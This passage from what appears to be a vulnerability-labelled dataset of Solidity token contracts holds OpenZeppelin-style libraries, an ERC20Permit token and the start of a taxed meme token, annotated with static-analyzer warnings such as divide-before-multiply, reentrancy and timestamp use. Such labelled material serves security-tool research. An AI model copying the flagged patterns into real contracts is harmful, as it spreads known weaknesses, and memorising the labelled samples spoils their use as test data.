5f29505\n\t\t\t\t// divide-before-multiply | ID: e57e269\n denominator := div(denominator, twos)\n\n\t\t\t\t// divide-before-multiply | ID: 3fec7b8\n prod0 := div(prod0, twos)\n\n twos := add(div(sub(0, twos), twos), 1)\n }\n\n prod0 |= prod1 * twos;\n\n\t\t\t// divide-before-multiply | ID: 3f7ef0b\n\t\t\t// incorrect-exp | ID: bff945a\n uint256 inverse = (3 * denominator) ^ 2;\n\n\t\t\t// divide-before-multiply | ID: 382c8e1\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 5f29505\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: e57e269\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 4c3f1e0\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 5d1f706\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 738cbd7\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 3fec7b8\n result = prod0 * inverse;\n\n return result;\n }\n }\n\n function mulDiv(\n uint256 x,\n uint256 y,\n uint256 denominator,\n Rounding rounding\n ) internal pure returns (uint256) {\n uint256 result = mulDiv(x, y, denominator);\n\n if (unsignedRoundsUp(rounding) && mulmod(x, y, denominator) > 0) {\n result += 1;\n }\n\n return result;\n }\n\n function sqrt(uint256 a) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 result = 1 << (log2(a) >> 1);\n\n unchecked {\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n return min(result, a / result);\n }\n }\n\n function sqrt(\n uint256 a,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = sqrt(a);\n\n return\n result +\n (unsignedRoundsUp(rounding) && result * result < a ? 1 : 0);\n }\n }\n\n function log2(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n\n result += 128;\n }\n\n if (value >> 64 > 0) {\n value >>= 64;\n\n result += 64;\n }\n\n if (value >> 32 > 0) {\n value >>= 32;\n\n result += 32;\n }\n\n if (value >> 16 > 0) {\n value >>= 16;\n\n result += 16;\n }\n\n if (value >> 8 > 0) {\n value >>= 8;\n\n result += 8;\n }\n\n if (value >> 4 > 0) {\n value >>= 4;\n\n result += 4;\n }\n\n if (value >> 2 > 0) {\n value >>= 2;\n\n result += 2;\n }\n\n if (value >> 1 > 0) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log2(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log2(value);\n\n return\n result +\n (unsignedRoundsUp(rounding) && 1 << result < value ? 1 : 0);\n }\n }\n\n function log10(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >= 10 ** 64) {\n value /= 10 ** 64;\n\n result += 64;\n }\n\n if (value >= 10 ** 32) {\n value /= 10 ** 32;\n\n result += 32;\n }\n\n if (value >= 10 ** 16) {\n value /= 10 ** 16;\n\n result += 16;\n }\n\n if (value >= 10 ** 8) {\n value /= 10 ** 8;\n\n result += 8;\n }\n\n if (value >= 10 ** 4) {\n value /= 10 ** 4;\n\n result += 4;\n }\n\n if (value >= 10 ** 2) {\n value /= 10 ** 2;\n\n result += 2;\n }\n\n if (value >= 10 ** 1) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log10(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log10(value);\n\n return\n result +\n (unsignedRoundsUp(rounding) && 10 ** result < value ? 1 : 0);\n }\n }\n\n function log256(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n\n result += 16;\n }\n\n if (value >> 64 > 0) {\n value >>= 64;\n\n result += 8;\n }\n\n if (value >> 32 > 0) {\n value >>= 32;\n\n result += 4;\n }\n\n if (value >> 16 > 0) {\n value >>= 16;\n\n result += 2;\n }\n\n if (value >> 8 > 0) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log256(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log256(value);\n\n return\n result +\n (\n unsignedRoundsUp(rounding) && 1 << (result << 3) < value\n ? 1\n : 0\n );\n }\n }\n\n function unsignedRoundsUp(Rounding rounding) internal pure returns (bool) {\n return uint8(rounding) % 2 == 1;\n }\n}\n\nlibrary Strings {\n bytes16 private constant HEX_DIGITS = \"0123456789abcdef\";\n\n uint8 private constant ADDRESS_LENGTH = 20;\n\n error StringsInsufficientHexLength(uint256 value, uint256 length);\n\n function toString(uint256 value) internal pure returns (string memory) {\n unchecked {\n uint256 length = Math.log10(value) + 1;\n\n string memory buffer = new string(length);\n\n uint256 ptr;\n\n assembly {\n ptr := add(buffer, add(32, length))\n }\n\n while (true) {\n ptr--;\n\n assembly {\n mstore8(ptr, byte(mod(value, 10), HEX_DIGITS))\n }\n\n value /= 10;\n\n if (value == 0) break;\n }\n\n return buffer;\n }\n }\n\n function toStringSigned(\n int256 value\n ) internal pure returns (string memory) {\n return\n string.concat(\n value < 0 ? \"-\" : \"\",\n toString(SignedMath.abs(value))\n );\n }\n\n function toHexString(uint256 value) internal pure returns (string memory) {\n unchecked {\n return toHexString(value, Math.log256(value) + 1);\n }\n }\n\n function toHexString(\n uint256 value,\n uint256 length\n ) internal pure returns (string memory) {\n uint256 localValue = value;\n\n bytes memory buffer = new bytes(2 * length + 2);\n\n buffer[0] = \"0\";\n\n buffer[1] = \"x\";\n\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = HEX_DIGITS[localValue & 0xf];\n\n localValue >>= 4;\n }\n\n if (localValue != 0) {\n revert StringsInsufficientHexLength(value, length);\n }\n\n return string(buffer);\n }\n\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), ADDRESS_LENGTH);\n }\n\n function equal(\n string memory a,\n string memory b\n ) internal pure returns (bool) {\n return\n bytes(a).length == bytes(b).length &&\n keccak256(bytes(a)) == keccak256(bytes(b));\n }\n}\n\nlibrary MessageHashUtils {\n function toEthSignedMessageHash(\n bytes32 messageHash\n ) internal pure returns (bytes32 digest) {\n assembly {\n mstore(0x00, \"\\x19Ethereum Signed Message:\\n32\") // 32 is the bytes-length of messageHash\n\n mstore(0x1c, messageHash)\n\n digest := keccak256(0x00, 0x3c)\n }\n }\n\n function toEthSignedMessageHash(\n bytes memory message\n ) internal pure returns (bytes32) {\n return\n keccak256(\n bytes.concat(\n \"\\x19Ethereum Signed Message:\\n\",\n bytes(Strings.toString(message.length)),\n message\n )\n );\n }\n\n function toDataWithIntendedValidatorHash(\n address validator,\n bytes memory data\n ) internal pure returns (bytes32) {\n return keccak256(abi.encodePacked(hex\"19_00\", validator, data));\n }\n\n function toTypedDataHash(\n bytes32 domainSeparator,\n bytes32 structHash\n ) internal pure returns (bytes32 digest) {\n assembly {\n let ptr := mload(0x40)\n\n mstore(ptr, hex\"19_01\")\n\n mstore(add(ptr, 0x02), domainSeparator)\n\n mstore(add(ptr, 0x22), structHash)\n\n digest := keccak256(ptr, 0x42)\n }\n }\n}\n\nabstract contract EIP712 is IERC5267 {\n using ShortStrings for *;\n\n bytes32 private constant TYPE_HASH =\n keccak256(\n \"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)\"\n );\n\n bytes32 private immutable _cachedDomainSeparator;\n\n uint256 private immutable _cachedChainId;\n\n address private immutable _cachedThis;\n\n bytes32 private immutable _hashedName;\n\n bytes32 private immutable _hashedVersion;\n\n ShortString private immutable _name;\n\n ShortString private immutable _version;\n\n string private _nameFallback;\n\n string private _versionFallback;\n\n constructor(string memory name, string memory version) {\n _name = name.toShortStringWithFallback(_nameFallback);\n\n _version = version.toShortStringWithFallback(_versionFallback);\n\n _hashedName = keccak256(bytes(name));\n\n _hashedVersion = keccak256(bytes(version));\n\n _cachedChainId = block.chainid;\n\n _cachedDomainSeparator = _buildDomainSeparator();\n\n _cachedThis = address(this);\n }\n\n function _domainSeparatorV4() internal view returns (bytes32) {\n if (address(this) == _cachedThis && block.chainid == _cachedChainId) {\n return _cachedDomainSeparator;\n } else {\n return _buildDomainSeparator();\n }\n }\n\n function _buildDomainSeparator() private view returns (bytes32) {\n return\n keccak256(\n abi.encode(\n TYPE_HASH,\n _hashedName,\n _hashedVersion,\n block.chainid,\n address(this)\n )\n );\n }\n\n function _hashTypedDataV4(\n bytes32 structHash\n ) internal view virtual returns (bytes32) {\n return\n MessageHashUtils.toTypedDataHash(_domainSeparatorV4(), structHash);\n }\n\n function eip712Domain()\n public\n view\n virtual\n returns (\n bytes1 fields,\n string memory name,\n string memory version,\n uint256 chainId,\n address verifyingContract,\n bytes32 salt,\n uint256[] memory extensions\n )\n {\n return (\n hex\"0f\", // 01111\n _EIP712Name(),\n _EIP712Version(),\n block.chainid,\n address(this),\n bytes32(0),\n new uint256[](0)\n );\n }\n\n function _EIP712Name() internal view returns (string memory) {\n return _name.toStringWithFallback(_nameFallback);\n }\n\n function _EIP712Version() internal view returns (string memory) {\n return _version.toStringWithFallback(_versionFallback);\n }\n}\n\nlibrary ECDSA {\n enum RecoverError {\n NoError,\n InvalidSignature,\n InvalidSignatureLength,\n InvalidSignatureS\n }\n\n error ECDSAInvalidSignature();\n\n error ECDSAInvalidSignatureLength(uint256 length);\n\n error ECDSAInvalidSignatureS(bytes32 s);\n\n function tryRecover(\n bytes32 hash,\n bytes memory signature\n ) internal pure returns (address, RecoverError, bytes32) {\n if (signature.length == 65) {\n bytes32 r;\n\n bytes32 s;\n\n uint8 v;\n\n assembly {\n r := mload(add(signature, 0x20))\n\n s := mload(add(signature, 0x40))\n\n v := byte(0, mload(add(signature, 0x60)))\n }\n\n return tryRecover(hash, v, r, s);\n } else {\n return (\n address(0),\n RecoverError.InvalidSignatureLength,\n bytes32(signature.length)\n );\n }\n }\n\n function recover(\n bytes32 hash,\n bytes memory signature\n ) internal pure returns (address) {\n (address recovered, RecoverError error, bytes32 errorArg) = tryRecover(\n hash,\n signature\n );\n\n _throwError(error, errorArg);\n\n return recovered;\n }\n\n function tryRecover(\n bytes32 hash,\n bytes32 r,\n bytes32 vs\n ) internal pure returns (address, RecoverError, bytes32) {\n unchecked {\n bytes32 s = vs &\n bytes32(\n 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n );\n\n uint8 v = uint8((uint256(vs) >> 255) + 27);\n\n return tryRecover(hash, v, r, s);\n }\n }\n\n function recover(\n bytes32 hash,\n bytes32 r,\n bytes32 vs\n ) internal pure returns (address) {\n (address recovered, RecoverError error, bytes32 errorArg) = tryRecover(\n hash,\n r,\n vs\n );\n\n _throwError(error, errorArg);\n\n return recovered;\n }\n\n function tryRecover(\n bytes32 hash,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) internal pure returns (address, RecoverError, bytes32) {\n if (\n uint256(s) >\n 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0\n ) {\n return (address(0), RecoverError.InvalidSignatureS, s);\n }\n\n address signer = ecrecover(hash, v, r, s);\n\n if (signer == address(0)) {\n return (address(0), RecoverError.InvalidSignature, bytes32(0));\n }\n\n return (signer, RecoverError.NoError, bytes32(0));\n }\n\n function recover(\n bytes32 hash,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) internal pure returns (address) {\n (address recovered, RecoverError error, bytes32 errorArg) = tryRecover(\n hash,\n v,\n r,\n s\n );\n\n _throwError(error, errorArg);\n\n return recovered;\n }\n\n function _throwError(RecoverError error, bytes32 errorArg) private pure {\n if (error == RecoverError.NoError) {\n return;\n } else if (error == RecoverError.InvalidSignature) {\n revert ECDSAInvalidSignature();\n } else if (error == RecoverError.InvalidSignatureLength) {\n revert ECDSAInvalidSignatureLength(uint256(errorArg));\n } else if (error == RecoverError.InvalidSignatureS) {\n revert ECDSAInvalidSignatureS(errorArg);\n }\n }\n}\n\ninterface IERC20Permit {\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n function nonces(address owner) external view returns (uint256);\n\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n}\n\ninterface IERC20Errors {\n error ERC20InsufficientBalance(\n address sender,\n uint256 balance,\n uint256 needed\n );\n\n error ERC20InvalidSender(address sender);\n\n error ERC20InvalidReceiver(address receiver);\n\n error ERC20InsufficientAllowance(\n address spender,\n uint256 allowance,\n uint256 needed\n );\n\n error ERC20InvalidApprover(address approver);\n\n error ERC20InvalidSpender(address spender);\n}\n\ninterface IERC721Errors {\n error ERC721InvalidOwner(address owner);\n\n error ERC721NonexistentToken(uint256 tokenId);\n\n error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);\n\n error ERC721InvalidSender(address sender);\n\n error ERC721InvalidReceiver(address receiver);\n\n error ERC721InsufficientApproval(address operator, uint256 tokenId);\n\n error ERC721InvalidApprover(address approver);\n\n error ERC721InvalidOperator(address operator);\n}\n\ninterface IERC1155Errors {\n error ERC1155InsufficientBalance(\n address sender,\n uint256 balance,\n uint256 needed,\n uint256 tokenId\n );\n\n error ERC1155InvalidSender(address sender);\n\n error ERC1155InvalidReceiver(address receiver);\n\n error ERC1155MissingApprovalForAll(address operator, address owner);\n\n error ERC1155InvalidApprover(address approver);\n\n error ERC1155InvalidOperator(address operator);\n\n error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n function _contextSuffixLength() internal view virtual returns (uint256) {\n return 0;\n }\n}\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\nabstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {\n mapping(address account => uint256) private _balances;\n\n mapping(address account => mapping(address spender => uint256))\n private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n function transfer(address to, uint256 value) public virtual returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, value);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 value\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) public virtual returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, value);\n\n _transfer(from, to, value);\n\n return true;\n }\n\n function _transfer(address from, address to, uint256 value) internal {\n if (from == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n\n if (to == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n\n _update(from, to, value);\n }\n\n function _update(address from, address to, uint256 value) internal virtual {\n if (from == address(0)) {\n _totalSupply += value;\n } else {\n uint256 fromBalance = _balances[from];\n\n if (fromBalance < value) {\n revert ERC20InsufficientBalance(from, fromBalance, value);\n }\n\n unchecked {\n _balances[from] = fromBalance - value;\n }\n }\n\n if (to == address(0)) {\n unchecked {\n _totalSupply -= value;\n }\n } else {\n unchecked {\n _balances[to] += value;\n }\n }\n\n emit Transfer(from, to, value);\n }\n\n function _mint(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n\n _update(address(0), account, value);\n }\n\n function _burn(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n\n _update(account, address(0), value);\n }\n\n function _approve(address owner, address spender, uint256 value) internal {\n _approve(owner, spender, value, true);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 value,\n bool emitEvent\n ) internal virtual {\n if (owner == address(0)) {\n revert ERC20InvalidApprover(address(0));\n }\n\n if (spender == address(0)) {\n revert ERC20InvalidSpender(address(0));\n }\n\n _allowances[owner][spender] = value;\n\n if (emitEvent) {\n emit Approval(owner, spender, value);\n }\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 value\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n if (currentAllowance < value) {\n revert ERC20InsufficientAllowance(\n spender,\n currentAllowance,\n value\n );\n }\n\n unchecked {\n _approve(owner, spender, currentAllowance - value, false);\n }\n }\n }\n}\n\nabstract contract ERC20Permit is ERC20, IERC20Permit, EIP712, Nonces {\n bytes32 private constant PERMIT_TYPEHASH =\n keccak256(\n \"Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)\"\n );\n\n error ERC2612ExpiredSignature(uint256 deadline);\n\n error ERC2612InvalidSigner(address signer, address owner);\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 041b471): ERC20Permit.constructor(string).name shadows ERC20.name() (function) IERC20Metadata.name() (function)\n\t// Recommendation for 041b471: Rename the local variables that shadow another component.\n constructor(string memory name) EIP712(name, \"1\") {}\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: fc80e1c): ERC20Permit.permit(address,address,uint256,uint256,uint8,bytes32,bytes32) uses timestamp for comparisons Dangerous comparisons block.timestamp > deadline\n\t// Recommendation for fc80e1c: Avoid relying on 'block.timestamp'.\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) public virtual {\n\t\t// timestamp | ID: fc80e1c\n if (block.timestamp > deadline) {\n revert ERC2612ExpiredSignature(deadline);\n }\n\n bytes32 structHash = keccak256(\n abi.encode(\n PERMIT_TYPEHASH,\n owner,\n spender,\n value,\n _useNonce(owner),\n deadline\n )\n );\n\n bytes32 hash = _hashTypedDataV4(structHash);\n\n address signer = ECDSA.recover(hash, v, r, s);\n\n if (signer != owner) {\n revert ERC2612InvalidSigner(signer, owner);\n }\n\n _approve(owner, spender, value);\n }\n\n function nonces(\n address owner\n ) public view virtual override(IERC20Permit, Nonces) returns (uint256) {\n return super.nonces(owner);\n }\n\n function DOMAIN_SEPARATOR() external view virtual returns (bytes32) {\n return _domainSeparatorV4();\n }\n}\n\ncontract SnowmanNetworkToken is ERC20, ERC20Permit {\n constructor()\n ERC20(\"Snowman Network Token\", \"SNWM\")\n ERC20Permit(\"Snowman Network Token\")\n {\n _mint(msg.sender, 100000000 * 10 ** 18);\n\n _mint(0x6930efBbF809837a891995a638dFD3b62A2B8E2B, 100000000 * 10 ** 18);\n }\n}\n", "file_name": "solidity_code_10277.sol", "size_bytes": 37282, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 91e926a): DAPHNE.slitherConstructorVariables() performs a multiplication on the result of a division _maxSwapEE = 1 * (_tTotalEE / 100)\n// Recommendation for 91e926a: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 609c461): DAPHNE.slitherConstructorVariables() performs a multiplication on the result of a division _maxAmountEE = 2 * (_tTotalEE / 100)\n// Recommendation for 609c461: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 92b0758): DAPHNE.slitherConstructorVariables() performs a multiplication on the result of a division _taxThresEE = 1 * (_tTotalEE / 100)\n// Recommendation for 92b0758: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: ba271ca): DAPHNE.slitherConstructorVariables() performs a multiplication on the result of a division _maxWalletEE = 2 * (_tTotalEE / 100)\n// Recommendation for ba271ca: Consider ordering multiplication before division.\ncontract DAPHNE is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balancesEE;\n\n mapping(address => mapping(address => uint256)) private _allowancesEE;\n\n mapping(address => bool) private _shouldExcludedEE;\n\n address payable private _receiptEE;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotalEE = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Daphne The Flying Squirrel\";\n\n string private constant _symbol = unicode\"DAPHNE\";\n\n\t// divide-before-multiply | ID: 609c461\n uint256 public _maxAmountEE = 2 * (_tTotalEE / 100);\n\n\t// divide-before-multiply | ID: ba271ca\n uint256 public _maxWalletEE = 2 * (_tTotalEE / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: c4bc5bf): DAPHNE._taxThresEE should be constant \n\t// Recommendation for c4bc5bf: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 92b0758\n uint256 public _taxThresEE = 1 * (_tTotalEE / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 5db9bb9): DAPHNE._maxSwapEE should be constant \n\t// Recommendation for 5db9bb9: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 91e926a\n uint256 public _maxSwapEE = 1 * (_tTotalEE / 100);\n\n address private uniPairEE;\n\n IUniswapV2Router02 private uniRouterEE;\n\n\t// WARNING Optimization Issue (constable-states | ID: 73d4912): DAPHNE._initialBuyTax should be constant \n\t// Recommendation for 73d4912: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 45da80d): DAPHNE._initialSellTax should be constant \n\t// Recommendation for 45da80d: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: f7ced0f): DAPHNE._finalBuyTax should be constant \n\t// Recommendation for f7ced0f: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 941445b): DAPHNE._finalSellTax should be constant \n\t// Recommendation for 941445b: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 33fa993): DAPHNE._reduceBuyTaxAt should be constant \n\t// Recommendation for 33fa993: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2f7f742): DAPHNE._reduceSellTaxAt should be constant \n\t// Recommendation for 2f7f742: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 52e4b4a): DAPHNE._preventSwapBefore should be constant \n\t// Recommendation for 52e4b4a: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 13c9ccc): DAPHNE._transferTax should be constant \n\t// Recommendation for 13c9ccc: Add the 'constant' attribute to state variables that never change.\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxAmountEE);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _receiptEE = payable(_msgSender());\n\n _balancesEE[_msgSender()] = _tTotalEE;\n\n _shouldExcludedEE[owner()] = true;\n\n _shouldExcludedEE[address(this)] = true;\n\n _shouldExcludedEE[_receiptEE] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotalEE);\n }\n\n function initEE() external onlyOwner {\n uniRouterEE = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniRouterEE), _tTotalEE);\n\n uniPairEE = IUniswapV2Factory(uniRouterEE.factory()).createPair(\n address(this),\n uniRouterEE.WETH()\n );\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotalEE;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balancesEE[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 56198aa): DAPHNE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 56198aa: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowancesEE[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n require(\n !isUniswapV3(spender),\n \"Approval for Uniswap V3 liquidity is not allowed\"\n );\n\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 284e1f0): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 284e1f0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 65691d6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 65691d6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 284e1f0\n\t\t// reentrancy-benign | ID: 65691d6\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 284e1f0\n\t\t// reentrancy-benign | ID: 65691d6\n _approve(\n sender,\n _msgSender(),\n 